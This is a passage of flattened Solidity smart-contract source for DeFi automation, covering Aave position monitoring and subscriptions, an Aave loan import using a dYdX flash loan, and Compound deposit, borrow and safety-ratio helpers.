tokens addresses /// @return tokens Array of reserves infomartion function getTokensInfo(address[] memory _tokenAddresses) public view returns(TokenInfo[] memory tokens) { address lendingPoolCoreAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolCore(); address priceOracleAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getPriceOracle(); tokens = new TokenInfo[](_tokenAddresses.length); for (uint256 i = 0; i < _tokenAddresses.length; ++i) { (,uint256 ltv,,) = ILendingPool(lendingPoolCoreAddress).getReserveConfiguration(_tokenAddresses[i]); tokens[i] = TokenInfo({ aTokenAddress: ILendingPool(lendingPoolCoreAddress).getReserveATokenAddress(_tokenAddresses[i]), underlyingTokenAddress: _tokenAddresses[i], collateralFactor: ltv, price: IPriceOracleGetterAave(priceOracleAddress).getAssetPrice(_tokenAddresses[i]) }); } } /// @notice Information about reserves /// @param _tokenAddresses Array of token addresses /// @return tokens Array of reserves infomartion function getFullTokensInfo(address[] memory _tokenAddresses) public view returns(TokenInfoFull[] memory tokens) { address lendingPoolCoreAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolCore(); address lendingPoolAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool(); address priceOracleAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getPriceOracle(); tokens = new TokenInfoFull[](_tokenAddresses.length); for (uint256 i = 0; i < _tokenAddresses.length; ++i) { (uint256 ltv, uint256 liqRatio,,, bool usageAsCollateralEnabled, bool borrowingEnabled, bool stableBorrowingEnabled,) = ILendingPool(lendingPoolAddress).getReserveConfigurationData(_tokenAddresses[i]); tokens[i] = TokenInfoFull({ aTokenAddress: ILendingPool(lendingPoolCoreAddress).getReserveATokenAddress(_tokenAddresses[i]), underlyingTokenAddress: _tokenAddresses[i], supplyRate: ILendingPool(lendingPoolCoreAddress).getReserveCurrentLiquidityRate(_tokenAddresses[i]), borrowRate: borrowingEnabled ? ILendingPool(lendingPoolCoreAddress).getReserveCurrentVariableBorrowRate(_tokenAddresses[i]) : 0, borrowRateStable: stableBorrowingEnabled ? ILendingPool(lendingPoolCoreAddress).getReserveCurrentStableBorrowRate(_tokenAddresses[i]) : 0, totalSupply: ILendingPool(lendingPoolCoreAddress).getReserveTotalLiquidity(_tokenAddresses[i]), availableLiquidity: ILendingPool(lendingPoolCoreAddress).getReserveAvailableLiquidity(_tokenAddresses[i]), totalBorrow: ILendingPool(lendingPoolCoreAddress).getReserveTotalBorrowsVariable(_tokenAddresses[i]), collateralFactor: ltv, liquidationRatio: liqRatio, price: IPriceOracleGetterAave(priceOracleAddress).getAssetPrice(_tokenAddresses[i]), usageAsCollateralEnabled: usageAsCollateralEnabled }); } } /// @notice Fetches all the collateral/debt address and amounts, denominated in ether /// @param _user Address of the user /// @return data LoanData information function getLoanData(address _user) public view returns (LoanData memory data) { address lendingPoolAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool(); address priceOracleAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getPriceOracle(); address[] memory reserves = ILendingPool(lendingPoolAddress).getReserves(); data = LoanData({ user: _user, ratio: 0, collAddr: new address[](reserves.length), borrowAddr: new address[](reserves.length), collAmounts: new uint[](reserves.length), borrowAmounts: new uint[](reserves.length) }); uint64 collPos = 0; uint64 borrowPos = 0; for (uint64 i = 0; i < reserves.length; i++) { address reserve = reserves[i]; (uint256 aTokenBalance, uint256 borrowBalance,,,,,,,,) = ILendingPool(lendingPoolAddress).getUserReserveData(reserve, _user); uint256 price = IPriceOracleGetterAave(priceOracleAddress).getAssetPrice(reserves[i]); if (aTokenBalance > 0) { uint256 userTokenBalanceEth = wmul(aTokenBalance, price) * (10 ** (18 - _getDecimals(reserve))); data.collAddr[collPos] = reserve; data.collAmounts[collPos] = userTokenBalanceEth; collPos++; } // Sum up debt in Eth if (borrowBalance > 0) { uint256 userBorrowBalanceEth = wmul(borrowBalance, price) * (10 ** (18 - _getDecimals(reserve))); data.borrowAddr[borrowPos] = reserve; data.borrowAmounts[borrowPos] = userBorrowBalanceEth; borrowPos++; } } data.ratio = uint128(getSafetyRatio(_user)); return data; } /// @notice Fetches all the collateral/debt address and amounts, denominated in ether /// @param _users Addresses of the user /// @return loans Array of LoanData information function getLoanDataArr(address[] memory _users) public view returns (LoanData[] memory loans) { loans = new LoanData[](_users.length); for (uint i = 0; i < _users.length; ++i) { loans[i] = getLoanData(_users[i]); } } } contract AaveMonitor is AdminAuth, DSMath, AaveSafetyRatio, GasBurner { using SafeERC20 for ERC20; enum Method { Boost, Repay } uint public REPAY_GAS_TOKEN = 19; uint public BOOST_GAS_TOKEN = 19; uint public MAX_GAS_PRICE = 200000000000; // 200 gwei uint public REPAY_GAS_COST = 2500000; uint public BOOST_GAS_COST = 2500000; address public constant DEFISAVER_LOGGER = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126; AaveMonitorProxy public aaveMonitorProxy; AaveSubscriptions public subscriptionsContract; address public aaveSaverProxy; DefisaverLogger public logger = DefisaverLogger(DEFISAVER_LOGGER); modifier onlyApproved() { require(BotRegistry(BOT_REGISTRY_ADDRESS).botList(msg.sender), "Not auth bot"); _; } /// @param _aaveMonitorProxy Proxy contracts that actually is authorized to call DSProxy /// @param _subscriptions Subscriptions contract for Aave positions /// @param _aaveSaverProxy Contract that actually performs Repay/Boost constructor(address _aaveMonitorProxy, address _subscriptions, address _aaveSaverProxy) public { aaveMonitorProxy = AaveMonitorProxy(_aaveMonitorProxy); subscriptionsContract = AaveSubscriptions(_subscriptions); aaveSaverProxy = _aaveSaverProxy; } /// @notice Bots call this method to repay for user when conditions are met /// @dev If the contract ownes gas token it will try and use it for gas price reduction /// @param _exData Exchange data /// @param _user The actual address that owns the Aave position function repayFor( SaverExchangeCore.ExchangeData memory _exData, address _user ) public payable onlyApproved burnGas(REPAY_GAS_TOKEN) { (bool isAllowed, uint ratioBefore) = canCall(Method.Repay, _user); require(isAllowed); // check if conditions are met uint256 gasCost = calcGasCost(REPAY_GAS_COST); aaveMonitorProxy.callExecute{value: msg.value}( _user, aaveSaverProxy, abi.encodeWithSignature( "repay((address,address,uint256,uint256,uint256,address,address,bytes,uint256),uint256)", _exData, gasCost ) ); (bool isGoodRatio, uint ratioAfter) = ratioGoodAfter(Method.Repay, _user); require(isGoodRatio); // check if the after result of the actions is good returnEth(); logger.Log(address(this), _user, "AutomaticAaveRepay", abi.encode(ratioBefore, ratioAfter)); } /// @notice Bots call this method to boost for user when conditions are met /// @dev If the contract ownes gas token it will try and use it for gas price reduction /// @param _exData Exchange data /// @param _user The actual address that owns the Aave position function boostFor( SaverExchangeCore.ExchangeData memory _exData, address _user ) public payable onlyApproved burnGas(BOOST_GAS_TOKEN) { (bool isAllowed, uint ratioBefore) = canCall(Method.Boost, _user); require(isAllowed); // check if conditions are met uint256 gasCost = calcGasCost(BOOST_GAS_COST); aaveMonitorProxy.callExecute{value: msg.value}( _user, aaveSaverProxy, abi.encodeWithSignature( "boost((address,address,uint256,uint256,uint256,address,address,bytes,uint256),uint256)", _exData, gasCost ) ); (bool isGoodRatio, uint ratioAfter) = ratioGoodAfter(Method.Boost, _user); require(isGoodRatio); // check if the after result of the actions is good returnEth(); logger.Log(address(this), _user, "AutomaticAaveBoost", abi.encode(ratioBefore, ratioAfter)); } /******************* INTERNAL METHODS ********************************/ function returnEth() internal { // return if some eth left if (address(this).balance > 0) { msg.sender.transfer(address(this).balance); } } /******************* STATIC METHODS ********************************/ /// @notice Checks if Boost/Repay could be triggered for the CDP /// @dev Called by AaveMonitor to enforce the min/max check /// @param _method Type of action to be called /// @param _user The actual address that owns the Aave position /// @return Boolean if it can be called and the ratio function canCall(Method _method, address _user) public view returns(bool, uint) { bool subscribed = subscriptionsContract.isSubscribed(_user); AaveSubscriptions.AaveHolder memory holder = subscriptionsContract.getHolder(_user); // check if cdp is subscribed if (!subscribed) return (false, 0); // check if boost and boost allowed if (_method == Method.Boost && !holder.boostEnabled) return (false, 0); uint currRatio = getSafetyRatio(_user); if (_method == Method.Repay) { return (currRatio < holder.minRatio, currRatio); } else if (_method == Method.Boost) { return (currRatio > holder.maxRatio, currRatio); } } /// @dev After the Boost/Repay check if the ratio doesn't trigger another call /// @param _method Type of action to be called /// @param _user The actual address that owns the Aave position /// @return Boolean if the recent action preformed correctly and the ratio function ratioGoodAfter(Method _method, address _user) public view returns(bool, uint) { AaveSubscriptions.AaveHolder memory holder; holder= subscriptionsContract.getHolder(_user); uint currRatio = getSafetyRatio(_user); if (_method == Method.Repay) { return (currRatio < holder.maxRatio, currRatio); } else if (_method == Method.Boost) { return (currRatio > holder.minRatio, currRatio); } } /// @notice Calculates gas cost (in Eth) of tx /// @dev Gas price is limited to MAX_GAS_PRICE to prevent attack of draining user CDP /// @param _gasAmount Amount of gas used for the tx function calcGasCost(uint _gasAmount) public view returns (uint) { uint gasPrice = tx.gasprice <= MAX_GAS_PRICE ? tx.gasprice : MAX_GAS_PRICE; return mul(gasPrice, _gasAmount); } /******************* OWNER ONLY OPERATIONS ********************************/ /// @notice Allows owner to change gas cost for boost operation, but only up to 3 millions /// @param _gasCost New gas cost for boost method function changeBoostGasCost(uint _gasCost) public onlyOwner { require(_gasCost < 3000000); BOOST_GAS_COST = _gasCost; } /// @notice Allows owner to change gas cost for repay operation, but only up to 3 millions /// @param _gasCost New gas cost for repay method function changeRepayGasCost(uint _gasCost) public onlyOwner { require(_gasCost < 3000000); REPAY_GAS_COST = _gasCost; } /// @notice Allows owner to change max gas price /// @param _maxGasPrice New max gas price function changeMaxGasPrice(uint _maxGasPrice) public onlyOwner { require(_maxGasPrice < 500000000000); MAX_GAS_PRICE = _maxGasPrice; } /// @notice Allows owner to change gas token amount /// @param _gasTokenAmount New gas token amount /// @param _repay true if repay gas token, false if boost gas token function changeGasTokenAmount(uint _gasTokenAmount, bool _repay) public onlyOwner { if (_repay) { REPAY_GAS_TOKEN = _gasTokenAmount; } else { BOOST_GAS_TOKEN = _gasTokenAmount; } } } contract AaveMonitorProxy is AdminAuth { using SafeERC20 for ERC20; uint public CHANGE_PERIOD; address public monitor; address public newMonitor; address public lastMonitor; uint public changeRequestedTimestamp; mapping(address => bool) public allowed; event MonitorChangeInitiated(address oldMonitor, address newMonitor); event MonitorChangeCanceled(); event MonitorChangeFinished(address monitor); event MonitorChangeReverted(address monitor); // if someone who is allowed become malicious, owner can't be changed modifier onlyAllowed() { require(allowed[msg.sender] || msg.sender == owner); _; } modifier onlyMonitor() { require (msg.sender == monitor); _; } constructor(uint _changePeriod) public { CHANGE_PERIOD = _changePeriod * 1 days; } /// @notice Only monitor contract is able to call execute on users proxy /// @param _owner Address of cdp owner (users DSProxy address) /// @param _aaveSaverProxy Address of AaveSaverProxy /// @param _data Data to send to AaveSaverProxy function callExecute(address _owner, address _aaveSaverProxy, bytes memory _data) public payable onlyMonitor { // execute reverts if calling specific method fails DSProxyInterface(_owner).execute{value: msg.value}(_aaveSaverProxy, _data); // return if anything left if (address(this).balance > 0) { msg.sender.transfer(address(this).balance); } } /// @notice Allowed users are able to set Monitor contract without any waiting period first time /// @param _monitor Address of Monitor contract function setMonitor(address _monitor) public onlyAllowed { require(monitor == address(0)); monitor = _monitor; } /// @notice Allowed users are able to start procedure for changing monitor /// @dev after CHANGE_PERIOD needs to call confirmNewMonitor to actually make a change /// @param _newMonitor address of new monitor function changeMonitor(address _newMonitor) public onlyAllowed { require(changeRequestedTimestamp == 0); changeRequestedTimestamp = now; lastMonitor = monitor; newMonitor = _newMonitor; emit MonitorChangeInitiated(lastMonitor, newMonitor); } /// @notice At any point allowed users are able to cancel monitor change function cancelMonitorChange() public onlyAllowed { require(changeRequestedTimestamp > 0); changeRequestedTimestamp = 0; newMonitor = address(0); emit MonitorChangeCanceled(); } /// @notice Anyone is able to confirm new monitor after CHANGE_PERIOD if process is started function confirmNewMonitor() public onlyAllowed { require((changeRequestedTimestamp + CHANGE_PERIOD) < now); require(changeRequestedTimestamp != 0); require(newMonitor != address(0)); monitor = newMonitor; newMonitor = address(0); changeRequestedTimestamp = 0; emit MonitorChangeFinished(monitor); } /// @notice Its possible to revert monitor to last used monitor function revertMonitor() public onlyAllowed { require(lastMonitor != address(0)); monitor = lastMonitor; emit MonitorChangeReverted(monitor); } /// @notice Allowed users are able to add new allowed user /// @param _user Address of user that will be allowed function addAllowed(address _user) public onlyAllowed { allowed[_user] = true; } /// @notice Allowed users are able to remove allowed user /// @dev owner is always allowed even if someone tries to remove it from allowed mapping /// @param _user Address of allowed user function removeAllowed(address _user) public onlyAllowed { allowed[_user] = false; } function setChangePeriod(uint _periodInDays) public onlyAllowed { require(_periodInDays * 1 days > CHANGE_PERIOD); CHANGE_PERIOD = _periodInDays * 1 days; } /// @notice In case something is left in contract, owner is able to withdraw it /// @param _token address of token to withdraw balance function withdrawToken(address _token) public onlyOwner { uint balance = ERC20(_token).balanceOf(address(this)); ERC20(_token).safeTransfer(msg.sender, balance); } /// @notice In case something is left in contract, owner is able to withdraw it function withdrawEth() public onlyOwner { uint balance = address(this).balance; msg.sender.transfer(balance); } } contract AaveSubscriptions is AdminAuth { struct AaveHolder { address user; uint128 minRatio; uint128 maxRatio; uint128 optimalRatioBoost; uint128 optimalRatioRepay; bool boostEnabled; } struct SubPosition { uint arrPos; bool subscribed; } AaveHolder[] public subscribers; mapping (address => SubPosition) public subscribersPos; uint public changeIndex; event Subscribed(address indexed user); event Unsubscribed(address indexed user); event Updated(address indexed user); event ParamUpdates(address indexed user, uint128, uint128, uint128, uint128, bool); /// @dev Called by the DSProxy contract which owns the Aave position /// @notice Adds the users Aave poistion in the list of subscriptions so it can be monitored /// @param _minRatio Minimum ratio below which repay is triggered /// @param _maxRatio Maximum ratio after which boost is triggered /// @param _optimalBoost Ratio amount which boost should target /// @param _optimalRepay Ratio amount which repay should target /// @param _boostEnabled Boolean determing if boost is enabled function subscribe(uint128 _minRatio, uint128 _maxRatio, uint128 _optimalBoost, uint128 _optimalRepay, bool _boostEnabled) external { // if boost is not enabled, set max ratio to max uint uint128 localMaxRatio = _boostEnabled ? _maxRatio : uint128(-1); require(checkParams(_minRatio, localMaxRatio), "Must be correct params"); SubPosition storage subInfo = subscribersPos[msg.sender]; AaveHolder memory subscription = AaveHolder({ minRatio: _minRatio, maxRatio: localMaxRatio, optimalRatioBoost: _optimalBoost, optimalRatioRepay: _optimalRepay, user: msg.sender, boostEnabled: _boostEnabled }); changeIndex++; if (subInfo.subscribed) { subscribers[subInfo.arrPos] = subscription; emit Updated(msg.sender); emit ParamUpdates(msg.sender, _minRatio, localMaxRatio, _optimalBoost, _optimalRepay, _boostEnabled); } else { subscribers.push(subscription); subInfo.arrPos = subscribers.length - 1; subInfo.subscribed = true; emit Subscribed(msg.sender); } } /// @notice Called by the users DSProxy /// @dev Owner who subscribed cancels his subscription function unsubscribe() external { _unsubscribe(msg.sender); } /// @dev Checks limit if minRatio is bigger than max /// @param _minRatio Minimum ratio, bellow which repay can be triggered /// @param _maxRatio Maximum ratio, over which boost can be triggered /// @return Returns bool if the params are correct function checkParams(uint128 _minRatio, uint128 _maxRatio) internal pure returns (bool) { if (_minRatio > _maxRatio) { return false; } return true; } /// @dev Internal method to remove a subscriber from the list /// @param _user The actual address that owns the Aave position function _unsubscribe(address _user) internal { require(subscribers.length > 0, "Must have subscribers in the list"); SubPosition storage subInfo = subscribersPos[_user]; require(subInfo.subscribed, "Must first be subscribed"); address lastOwner = subscribers[subscribers.length - 1].user; SubPosition storage subInfo2 = subscribersPos[lastOwner]; subInfo2.arrPos = subInfo.arrPos; subscribers[subInfo.arrPos] = subscribers[subscribers.length - 1]; subscribers.pop(); // remove last element and reduce arr length changeIndex++; subInfo.subscribed = false; subInfo.arrPos = 0; emit Unsubscribed(msg.sender); } /// @dev Checks if the user is subscribed /// @param _user The actual address that owns the Aave position /// @return If the user is subscribed function isSubscribed(address _user) public view returns (bool) { SubPosition storage subInfo = subscribersPos[_user]; return subInfo.subscribed; } /// @dev Returns subscribtion information about a user /// @param _user The actual address that owns the Aave position /// @return Subscription information about the user if exists function getHolder(address _user) public view returns (AaveHolder memory) { SubPosition storage subInfo = subscribersPos[_user]; return subscribers[subInfo.arrPos]; } /// @notice Helper method to return all the subscribed CDPs /// @return List of all subscribers function getSubscribers() public view returns (AaveHolder[] memory) { return subscribers; } /// @notice Helper method for the frontend, returns all the subscribed CDPs paginated /// @param _page What page of subscribers you want /// @param _perPage Number of entries per page /// @return List of all subscribers for that page function getSubscribersByPage(uint _page, uint _perPage) public view returns (AaveHolder[] memory) { AaveHolder[] memory holders = new AaveHolder[](_perPage); uint start = _page * _perPage; uint end = start + _perPage; end = (end > holders.length) ? holders.length : end; uint count = 0; for (uint i = start; i < end; i++) { holders[count] = subscribers[i]; count++; } return holders; } ////////////// ADMIN METHODS /////////////////// /// @notice Admin function to unsubscribe a position /// @param _user The actual address that owns the Aave position function unsubscribeByAdmin(address _user) public onlyOwner { SubPosition storage subInfo = subscribersPos[_user]; if (subInfo.subscribed) { _unsubscribe(_user); } } } contract AaveSubscriptionsProxy is ProxyPermission { address public constant AAVE_SUBSCRIPTION_ADDRESS = 0xe08ff7A2BADb634F0b581E675E6B3e583De086FC; address public constant AAVE_MONITOR_PROXY = 0xfA560Dba3a8D0B197cA9505A2B98120DD89209AC; /// @notice Calls subscription contract and creates a DSGuard if non existent /// @param _minRatio Minimum ratio below which repay is triggered /// @param _maxRatio Maximum ratio after which boost is triggered /// @param _optimalRatioBoost Ratio amount which boost should target /// @param _optimalRatioRepay Ratio amount which repay should target /// @param _boostEnabled Boolean determing if boost is enabled function subscribe( uint128 _minRatio, uint128 _maxRatio, uint128 _optimalRatioBoost, uint128 _optimalRatioRepay, bool _boostEnabled ) public { givePermission(AAVE_MONITOR_PROXY); IAaveSubscription(AAVE_SUBSCRIPTION_ADDRESS).subscribe( _minRatio, _maxRatio, _optimalRatioBoost, _optimalRatioRepay, _boostEnabled); } /// @notice Calls subscription contract and updated existing parameters /// @dev If subscription is non existent this will create one /// @param _minRatio Minimum ratio below which repay is triggered /// @param _maxRatio Maximum ratio after which boost is triggered /// @param _optimalRatioBoost Ratio amount which boost should target /// @param _optimalRatioRepay Ratio amount which repay should target /// @param _boostEnabled Boolean determing if boost is enabled function update( uint128 _minRatio, uint128 _maxRatio, uint128 _optimalRatioBoost, uint128 _optimalRatioRepay, bool _boostEnabled ) public { IAaveSubscription(AAVE_SUBSCRIPTION_ADDRESS).subscribe(_minRatio, _maxRatio, _optimalRatioBoost, _optimalRatioRepay, _boostEnabled); } /// @notice Calls the subscription contract to unsubscribe the caller function unsubscribe() public { removePermission(AAVE_MONITOR_PROXY); IAaveSubscription(AAVE_SUBSCRIPTION_ADDRESS).unsubscribe(); } } contract AaveImport is AaveHelper, AdminAuth { using SafeERC20 for ERC20; address public constant WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public constant BASIC_PROXY = 0x29F4af15ad64C509c4140324cFE71FB728D10d2B; address public constant AETH_ADDRESS = 0x3a3A65aAb0dd2A17E3F1947bA16138cd37d08c04; function callFunction( address sender, Account.Info memory account, bytes memory data ) public { ( address collateralToken, address borrowToken, uint256 ethAmount, address user, address proxy ) = abi.decode(data, (address,address,uint256,address,address)); // withdraw eth TokenInterface(WETH_ADDRESS).withdraw(ethAmount); address lendingPoolCoreAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolCore(); address lendingPool = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool(); address aCollateralToken = ILendingPool(lendingPoolCoreAddress).getReserveATokenAddress(collateralToken); address aBorrowToken = ILendingPool(lendingPoolCoreAddress).getReserveATokenAddress(borrowToken); uint256 globalBorrowAmount = 0; { // avoid stack too deep // deposit eth on behalf of proxy DSProxy(payable(proxy)).execute{value: ethAmount}(BASIC_PROXY, abi.encodeWithSignature("deposit(address,uint256)", ETH_ADDR, ethAmount)); // borrow needed amount to repay users borrow (,uint256 borrowAmount,,uint256 borrowRateMode,,,uint256 originationFee,,,) = ILendingPool(lendingPool).getUserReserveData(borrowToken, user); borrowAmount += originationFee; DSProxy(payable(proxy)).execute(BASIC_PROXY, abi.encodeWithSignature("borrow(address,uint256,uint256)", borrowToken, borrowAmount, borrowRateMode)); globalBorrowAmount = borrowAmount; } // payback on behalf of user if (borrowToken != ETH_ADDR) { ERC20(borrowToken).safeApprove(proxy, globalBorrowAmount); DSProxy(payable(proxy)).execute(BASIC_PROXY, abi.encodeWithSignature("paybackOnBehalf(address,address,uint256,bool,address)", borrowToken, aBorrowToken, 0, true, user)); } else { DSProxy(payable(proxy)).execute{value: globalBorrowAmount}(BASIC_PROXY, abi.encodeWithSignature("paybackOnBehalf(address,address,uint256,bool,address)", borrowToken, aBorrowToken, 0, true, user)); } // pull tokens from user to proxy ERC20(aCollateralToken).safeTransferFrom(user, proxy, ERC20(aCollateralToken).balanceOf(user)); // enable as collateral DSProxy(payable(proxy)).execute(BASIC_PROXY, abi.encodeWithSignature("setUserUseReserveAsCollateralIfNeeded(address)", collateralToken)); // withdraw deposited eth DSProxy(payable(proxy)).execute(BASIC_PROXY, abi.encodeWithSignature("withdraw(address,address,uint256,bool)", ETH_ADDR, AETH_ADDRESS, ethAmount, false)); // deposit eth, get weth and return to sender TokenInterface(WETH_ADDRESS).deposit.value(address(this).balance)(); ERC20(WETH_ADDRESS).safeTransfer(proxy, ethAmount+2); } /// @dev if contract receive eth, convert it to WETH receive() external payable { // deposit eth and get weth if (msg.sender == owner) { TokenInterface(WETH_ADDRESS).deposit.value(address(this).balance)(); } } } contract AaveImportTaker is DydxFlashLoanBase, ProxyPermission { address public constant WETH_ADDR = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address payable public constant AAVE_IMPORT = 0x7b856af5753a9f80968EA002641E69AdF1d795aB; address public constant DEFISAVER_LOGGER = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126; address public constant PROXY_REGISTRY_ADDRESS = 0x4678f0a6958e4D2Bc4F1BAF7Bc52E8F3564f3fE4; /// @notice Starts the process to move users position 1 collateral and 1 borrow /// @dev User must send 2 wei with this transaction /// @dev User must approve AaveImport to pull _aCollateralToken /// @param _collateralToken Collateral token we are moving to DSProxy /// @param _borrowToken Borrow token we are moving to DSProxy /// @param _ethAmount ETH amount that needs to be pulled from dydx function importLoan(address _collateralToken, address _borrowToken, uint _ethAmount) public { ISoloMargin solo = ISoloMargin(SOLO_MARGIN_ADDRESS); // Get marketId from token address uint256 marketId = _getMarketIdFromTokenAddress(WETH_ADDR); // Calculate repay amount (_amount + (2 wei)) // Approve transfer from uint256 repayAmount = _getRepaymentAmountInternal(_ethAmount); ERC20(WETH_ADDR).approve(SOLO_MARGIN_ADDRESS, repayAmount); Actions.ActionArgs[] memory operations = new Actions.ActionArgs[](3); operations[0] = _getWithdrawAction(marketId, _ethAmount, AAVE_IMPORT); operations[1] = _getCallAction( abi.encode(_collateralToken, _borrowToken, _ethAmount, msg.sender, address(this)), AAVE_IMPORT ); operations[2] = _getDepositAction(marketId, repayAmount, address(this)); Account.Info[] memory accountInfos = new Account.Info[](1); accountInfos[0] = _getAccountInfo(); givePermission(AAVE_IMPORT); solo.operate(accountInfos, operations); removePermission(AAVE_IMPORT); DefisaverLogger(DEFISAVER_LOGGER).Log(address(this), msg.sender, "AaveImport", abi.encode(_collateralToken, _borrowToken)); } } contract CompoundBasicProxy is GasBurner { address public constant ETH_ADDR = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant COMPTROLLER_ADDR = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B; using SafeERC20 for ERC20; /// @notice User deposits tokens to the Compound protocol /// @dev User needs to approve the DSProxy to pull the _tokenAddr tokens /// @param _tokenAddr The address of the token to be deposited /// @param _cTokenAddr CTokens to be deposited /// @param _amount Amount of tokens to be deposited /// @param _inMarket True if the token is already in market for that address function deposit(address _tokenAddr, address _cTokenAddr, uint _amount, bool _inMarket) public burnGas(5) payable { if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeTransferFrom(msg.sender, address(this), _amount); } approveToken(_tokenAddr, _cTokenAddr); if (!_inMarket) { enterMarket(_cTokenAddr); } if (_tokenAddr != ETH_ADDR) { require(CTokenInterface(_cTokenAddr).mint(_amount) == 0); } else { CEtherInterface(_cTokenAddr).mint{value: msg.value}(); // reverts on fail } } /// @notice User withdraws tokens to the Compound protocol /// @param _tokenAddr The address of the token to be withdrawn /// @param _cTokenAddr CTokens to be withdrawn /// @param _amount Amount of tokens to be withdrawn /// @param _isCAmount If true _amount is cTokens if falls _amount is underlying tokens function withdraw(address _tokenAddr, address _cTokenAddr, uint _amount, bool _isCAmount) public burnGas(5) { if (_isCAmount) { require(CTokenInterface(_cTokenAddr).redeem(_amount) == 0); } else { require(CTokenInterface(_cTokenAddr).redeemUnderlying(_amount) == 0); } // withdraw funds to msg.sender if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeTransfer(msg.sender, ERC20(_tokenAddr).balanceOf(address(this))); } else { msg.sender.transfer(address(this).balance); } } /// @notice User borrows tokens to the Compound protocol /// @param _tokenAddr The address of the token to be borrowed /// @param _cTokenAddr CTokens to be borrowed /// @param _amount Amount of tokens to be borrowed /// @param _inMarket True if the token is already in market for that address function borrow(address _tokenAddr, address _cTokenAddr, uint _amount, bool _inMarket) public burnGas(8) { if (!_inMarket) { enterMarket(_cTokenAddr); } require(CTokenInterface(_cTokenAddr).borrow(_amount) == 0); // withdraw funds to msg.sender if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeTransfer(msg.sender, ERC20(_tokenAddr).balanceOf(address(this))); } else { msg.sender.transfer(address(this).balance); } } /// @dev User needs to approve the DSProxy to pull the _tokenAddr tokens /// @notice User paybacks tokens to the Compound protocol /// @param _tokenAddr The address of the token to be paybacked /// @param _cTokenAddr CTokens to be paybacked /// @param _amount Amount of tokens to be payedback /// @param _wholeDebt If true the _amount will be set to the whole amount of the debt function payback(address _tokenAddr, address _cTokenAddr, uint _amount, bool _wholeDebt) public burnGas(5) payable { approveToken(_tokenAddr, _cTokenAddr); if (_wholeDebt) { _amount = CTokenInterface(_cTokenAddr).borrowBalanceCurrent(address(this)); } if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeTransferFrom(msg.sender, address(this), _amount); require(CTokenInterface(_cTokenAddr).repayBorrow(_amount) == 0); } else { CEtherInterface(_cTokenAddr).repayBorrow{value: msg.value}(); msg.sender.transfer(address(this).balance); // send back the extra eth } } /// @notice Helper method to withdraw tokens from the DSProxy /// @param _tokenAddr Address of the token to be withdrawn function withdrawTokens(address _tokenAddr) public { if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeTransfer(msg.sender, ERC20(_tokenAddr).balanceOf(address(this))); } else { msg.sender.transfer(address(this).balance); } } /// @notice Enters the Compound market so it can be deposited/borrowed /// @param _cTokenAddr CToken address of the token function enterMarket(address _cTokenAddr) public { address[] memory markets = new address[](1); markets[0] = _cTokenAddr; ComptrollerInterface(COMPTROLLER_ADDR).enterMarkets(markets); } /// @notice Exits the Compound market so it can't be deposited/borrowed /// @param _cTokenAddr CToken address of the token function exitMarket(address _cTokenAddr) public { ComptrollerInterface(COMPTROLLER_ADDR).exitMarket(_cTokenAddr); } /// @notice Approves CToken contract to pull underlying tokens from the DSProxy /// @param _tokenAddr Token we are trying to approve /// @param _cTokenAddr Address which will gain the approval function approveToken(address _tokenAddr, address _cTokenAddr) internal { if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeApprove(_cTokenAddr, uint(-1)); } } } contract CompoundSafetyRatio is Exponential, DSMath { // solhint-disable-next-line const-name-snakecase ComptrollerInterface public constant comp = ComptrollerInterface(0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B); /// @notice Calcualted the ratio of debt / adjusted collateral /// @param _user Address of the user function getSafetyRatio(address _user) public view returns (uint) { // For each asset the account is in address[] memory assets = comp.getAssetsIn(_user); address oracleAddr = comp.oracle(); uint sumCollateral = 0; uint sumBorrow = 0; for (uint i = 0; i < assets.length; i++) { address asset = assets[i]; (, uint cTokenBalance, uint borrowBalance, uint exchangeRateMantissa) = CTokenInterface(asset).getAccountSnapshot(_user); Exp memory oraclePrice; if (cTokenBalance != 0 || borrowBalance != 0) { oraclePrice = Exp({mantissa: CompoundOracleInterface(oracleAddr).getUnderlyingPrice(asset)}); } // Sum up collateral in Usd if (cTokenBalance != 0) { (, uint collFactorMantissa) = comp.markets(address(asset)); Exp memory collateralFactor = Exp({mantissa: collFactorMantissa}); Exp memory exchangeRate = Exp({mantissa: exchangeRateMantissa}); (, Exp memory tokensToUsd) = mulExp3(collateralFactor, exchangeRate, oraclePrice); (, sumCollateral) = mulScalarTruncateAddUInt(tokensToUsd, cTokenBalance, sumCollateral); } // Sum up debt in Usd if (borrowBalance != 0) { (, sumBorrow) = mulScalarTruncateAddUInt(oraclePrice, borrowBalance, sumBorrow); } } if (sumBorrow == 0) return uint(-1); uint borrowPowerUsed = (sumBorrow * 10**18) / sumCollateral; return wdiv(1e18, borrowPowerUsed); } } contract CompoundMonitor is AdminAuth, DSMath, CompoundSafetyRatio, GasBurner { using SafeERC20 for ERC20; enum Method { Boost, Repay } uint public REPAY_GAS_TOKEN = 20; uint public BOOST_GAS_TOKEN = 20; uint constant public MAX_GAS_PRICE = 500000000000; // 500 gwei uint public REPAY_GAS_COST = 2000000; uint 